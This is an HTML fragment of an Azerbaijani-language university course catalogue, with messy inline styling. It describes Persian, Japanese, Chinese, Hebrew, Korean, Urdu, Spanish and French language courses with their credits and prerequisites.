18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>PERS 403 Danışıq Fars Dili (6&nbsp;kredit)&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong></strong><span style=\"text-align:justify\"><strong>İlkin Şərt PERS 302</strong></span></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><span style=\"text-align:justify\"></span>Kursun əsas hədfləri tələbələrin dinləmə və danışıq bacarığını inkişaf etdirmək, PERS 201, 202, 301, 302 kurslarında öyrəndikləri leksik və qrammatik biliklərindən istifadə etməklə müxtəlif mövzularda yazılı və şifahi formada özlərini səlis ifadə etmə bacarığına yiyələnmələridir.</p><p><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>PERS 402 Tərcümə Təcrübəsi – Fars Dili (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İl</strong><strong>kin Şərt PERS 301</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Müasir nəşrlərdən seçilmiş materiallar əsasında kurs oxu, danışıq və dinləmə bacarıqları ilə yanaşı tələbələrin tərcumə bacarıqlarını inkişaf etdirməyi hədəfləyir.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>JAPAN 201 Yapon Dili -1 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong></strong></p><p><span style=\"background-color:#ffffff;color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-size:18px\"><strong>İlkin Şərt YOXDUR&nbsp;</strong></span></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yazı kimi əsas dil bacarıqları başda olmaqla yapon hərfləri, tələffüz və qrammatikanın da daxil olduğu standard yapon dilinin əsaslarını tədris etməkdir. Bu kursda yapon dilini başa düməyən və ya o dildə danışa bilməyən tələbələrdən yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarığına yiyələnməsi tələb olunur.</p><p><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>JAPAN 201 Yapon Dili -2 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt JAPAN 201</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">JAPAN 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi və yapon dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>CHIN 201 Çin Dili -1 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt YOXDUR&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yzı kimi əsas dil bacarıqları başda olmaqla çin heroqlifleri, tələffüz və qrammatikanın da daxil olduğu standard çin dilinin əsaslarını tədris etməkdir. Bu kursda çin dilini başa düməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarışına yiyələnməsi tələb olunur.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>CHIN 202 Çin Dili -2 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt CHIN 201</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">CHIN 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi və çin dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>HEBR 201 İvri Dili -1 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt YOXDUR&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yzı kimi əsas dil bacarıqları başda olmaqla ivri hərifləri, tələffüz və qrammatikanın da daxil olduğu standard ivri dilinin əsaslarını tədris etməkdir. Bu kursda ivri dilini başa düməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarışına yiyələnməsi tələb olunur.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>HEBR 202 İvri dili -2 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt HEBR 201</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">HEBR 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi və ivri dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>KORE 201 Koreya Dili -1 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt YOXDUR&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yzı kimi əsas dil bacarıqları başda olmaqla koreya hərifləri, tələffüz və qrammatikanın da daxil olduğu standard koreya dilinin əsaslarını tədris etməkdir. Bu kursda koreya dilini başa düməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarışına yiyələnməsi tələb olunur.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>KORE 202&nbsp;Koreya Dili -2 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt KORE 202</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">KORE 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi və koreya dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>URDU 201 Urdu Dili -1 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt YOXDUR&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yzı kimi əsas dil bacarıqları başda olmaqla urdu hərifləri, tələffüz və qrammatikanın da daxil olduğu standard urdu dilinin əsaslarını tədris etməkdir. Bu kursda urdu dilini başa düməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarığına yiyələnməsi tələb olunur.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><strong>URDU 202 Urdu Dili -2 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt URDU 201</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">URDU 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi və urdu dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><strong>SPA&nbsp;201&nbsp;İspan Dili - 1 ( 6&nbsp;kredit )</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt&nbsp;YOXDUR</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yazı kimi əsas dil bacarıqları başda olmaqla ispan&nbsp;hərfləri, tələffüz və qrammatikanın da daxil olduğu standard ispan&nbsp;dilinin əsaslarını tədris etməkdir. Bu kursun sonunda ispan&nbsp;dilini başa düməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarığına yiyələnməsi tələb olunur.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>SPAN 202 İspan Dili - 2 ( 6&nbsp;kredit )<br></strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt SPAN 201</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">SPAN 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi ispan&nbsp;dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.&nbsp;&nbsp;<br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>FREN 201&nbsp;Fransız Dili - 1 ( 6&nbsp;kredit )<br></strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt YOXDUR</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yazı kimi əsas dil bacarıqları başda olmaqla fransız&nbsp;hərfləri, tələffüz və qrammatikanın da daxil olduğu standard fransız&nbsp;dilinin əsaslarını tədris etməkdir. Bu kursun sonunda fransız&nbsp;dilini başa düməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarığına yiyələnməsi tələb olunur.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>FREN 202&nbsp;Fransız Dili - 2 ( 6&nbsp;kredit )&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt &nbsp;FREN&nbsp;201</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">FREN 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi fransız&nbsp;&nbsp;dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.&nbsp;&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" 